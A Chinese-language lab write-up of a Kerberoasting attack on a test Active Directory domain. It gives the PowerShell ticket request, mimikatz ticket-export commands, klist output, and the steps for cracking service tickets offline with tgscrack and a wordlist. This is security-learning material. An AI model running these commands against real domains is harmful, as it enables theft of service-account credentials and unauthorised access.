本质

Kerberoasting攻击的利用本质在于Kerberos认证中的第四步出现了问题
以下是kerberos的一个认证
1626356921(1).png
可以看到第四步使用了目标的NTLM hash对TGS进行了校验,因此用户会收到一个NTLM hash加密生成的TGS,它的加密算法为·RC4-HMAC·,那么我们在获得这个TGS后,便可以通过穷举的方式,生成TGS与它进行比较,如果相同,就可以代表密码正确。

为什么

那么为什么我们可以生成一个TGS来将它进行比较呢?
原因
域内的所有主机都是可以查询SPN的
域内的任何用户都是可以向域内的任何服务请求TGS

所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。


利用思路

  1. 查询SPN,找到有价值的SPN,需要满足以下条件:
    • 该SPN注册在域用户帐户(Users)下
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

[

](https://blog.csdn.net/qq_18501087/article/details/101593766)

利用条件:

查询SPN,找到有价值的SPN,需要满足以下条件:
1、该SPN注册是用域用户帐户注册的
2、被SPN注册过的域用户成为了服务用户,该服务用户的口令较弱,易于破解
3、当前的域用户权限要高(为什么呢?看如下)
这个高的定义:
在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限
image.png
这个域主机权限要能给一个普通域用户注册成SPN服务用户的权限,这样利用的时候才可以离线破解想要的任意域用户的hash,破解完再将这个SPN删掉,不然就要用域控在域搭建时就设定的SPN服务用户来破解hash,因此如果当前域用户的权限低得话,局限性很大

实验:

第一步:查询相关SPN
在此之前,我们已经在域控上添加了一个bbb的域用户,并且在域控上将他注册为了一个服务账户(当然如果当前域用户权限高的话,你可以自己注册一个SPN)
image.png
也可以使用如下脚本会更直观点
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
image.png

第二步:申请一张指定SPN服务账户的TGS,这里我们请求了使用BBB账户注册的SPN服务test/test
或者使用mimikatz请求
mimikatz :kerberos::ask /target:test/test

这里我们用的如下Powershell

  1. powershell.exe -exec bypass -Command "& {$SPNName = 'test/test'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"

image.png
之后使用Klist查看内存,如下所示,内存中出现了关于test/test的TGT

  1. C:\Users\aaa\Desktop>klist
  2. 当前登录 ID 0:0x70b3c
  3. 缓存的票证: (3)
  4. #0> 客户端: aaa @ ICEICE.COM
  5. 服务器: krbtgt/ICEICE.COM @ ICEICE.COM
  6. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  7. 票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_ca
  8. nonicalize
  9. 开始时间: 7/16/2021 9:09:17 (本地)
  10. 结束时间: 7/16/2021 19:09:17 (本地)
  11. 续订时间: 7/23/2021 9:09:17 (本地)
  12. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  13. #1> 客户端: aaa @ ICEICE.COM
  14. 服务器: ldap/WIN-1UUF7R7SRLA.iceice.com @ ICEICE.COM
  15. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  16. 票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
  17. name_canonicalize
  18. 开始时间: 7/16/2021 9:09:20 (本地)
  19. 结束时间: 7/16/2021 19:09:17 (本地)
  20. 续订时间: 7/23/2021 9:09:17 (本地)
  21. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  22. #2> 客户端: aaa @ ICEICE.COM
  23. 服务器: ldap/WIN-1UUF7R7SRLA.iceice.com/iceice.com @ ICEICE.COM
  24. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  25. 票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
  26. name_canonicalize
  27. 开始时间: 7/16/2021 9:09:17 (本地)
  28. 结束时间: 7/16/2021 19:09:17 (本地)
  29. 续订时间: 7/23/2021 9:09:17 (本地)
  30. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  1. C:\Users\aaa\Desktop>klist
  2. 当前登录 ID 0:0x70b3c
  3. 缓存的票证: (6)
  4. #0> 客户端: aaa @ ICEICE.COM
  5. 服务器: krbtgt/ICEICE.COM @ ICEICE.COM
  6. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  7. 票证标志 0x60a10000 -> forwardable forwarded renewable pre_authent name_
  8. canonicalize
  9. 开始时间: 7/16/2021 9:09:29 (本地)
  10. 结束时间: 7/16/2021 19:09:17 (本地)
  11. 续订时间: 7/23/2021 9:09:17 (本地)
  12. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  13. #1> 客户端: aaa @ ICEICE.COM
  14. 服务器: krbtgt/ICEICE.COM @ ICEICE.COM
  15. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  16. 票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_ca
  17. nonicalize
  18. 开始时间: 7/16/2021 9:09:17 (本地)
  19. 结束时间: 7/16/2021 19:09:17 (本地)
  20. 续订时间: 7/23/2021 9:09:17 (本地)
  21. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  22. #2> 客户端: aaa @ ICEICE.COM
  23. 服务器: test/test @ ICEICE.COM
  24. Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
  25. 票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
  26. name_canonicalize
  27. 开始时间: 7/16/2021 9:09:53 (本地)
  28. 结束时间: 7/16/2021 19:09:17 (本地)
  29. 续订时间: 7/23/2021 9:09:17 (本地)
  30. 会话密钥类型: RSADSI RC4-HMAC(NT)
  31. #3> 客户端: aaa @ ICEICE.COM
  32. 服务器: cifs/WIN-1UUF7R7SRLA.iceice.com @ ICEICE.COM
  33. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  34. 票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
  35. name_canonicalize
  36. 开始时间: 7/16/2021 9:09:29 (本地)
  37. 结束时间: 7/16/2021 19:09:17 (本地)
  38. 续订时间: 7/23/2021 9:09:17 (本地)
  39. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  40. #4> 客户端: aaa @ ICEICE.COM
  41. 服务器: ldap/WIN-1UUF7R7SRLA.iceice.com @ ICEICE.COM
  42. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  43. 票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
  44. name_canonicalize
  45. 开始时间: 7/16/2021 9:09:20 (本地)
  46. 结束时间: 7/16/2021 19:09:17 (本地)
  47. 续订时间: 7/23/2021 9:09:17 (本地)
  48. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96
  49. #5> 客户端: aaa @ ICEICE.COM
  50. 服务器: ldap/WIN-1UUF7R7SRLA.iceice.com/iceice.com @ ICEICE.COM
  51. Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
  52. 票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
  53. name_canonicalize
  54. 开始时间: 7/16/2021 9:09:17 (本地)
  55. 结束时间: 7/16/2021 19:09:17 (本地)
  56. 续订时间: 7/23/2021 9:09:17 (本地)
  57. 会话密钥类型: AES-256-CTS-HMAC-SHA1-96

第三步:导出票据
mimikatz.exe “kerberos::list /export” “exit”
image.png

第五步:离线破解
之所以能够进行破解,是因为我们后来加入的那些服务加密算法。默认是RC4的,而不是原有服务那种AES-256-CTS-HMAC-SHA1-96。
image.png
失败工具:

  1. https://github.com/nidem/kerberoast 工具包地址

这里特么的我使用两个工具都报错了
pip install requests-kerberos
pip install kerberos-sspi
import kerberos 改成 import kerberos_sspi as kerberos
image.png
image.png

成功工具:

  1. https://github.com/backlion/tgscrack

python2 extractServiceTicketParts.py 2-40a50000-aaa@test~test-ICEICE.COM.kirbi >hash.txt
转成hash形式
image.png
go run tgscrack.go -hashfile hash.txt -wordlist top10000.txt 报错了
image.png
cd C:\Program Files\Go\src\golang.org\x
git clone https://github.com/golang/crypto.git
go run tgscrack.go -hashfile hash.txt -wordlist top10000.txt
至此,离线破解完成
image.png

https://blog.csdn.net/qq_18501087/article/details/101593766
https://mp.weixin.qq.com/s/Relcg8POMXQAKkwKaYJRhw
http://t.zoukankan.com/Yang34-p-14278011.html
https://xz.aliyun.com/t/8690#toc-49
https://blog.csdn.net/Jeeseen123/article/details/109159385
https://mp.weixin.qq.com/s/88GqLe63YIBbTkQH9EIXcg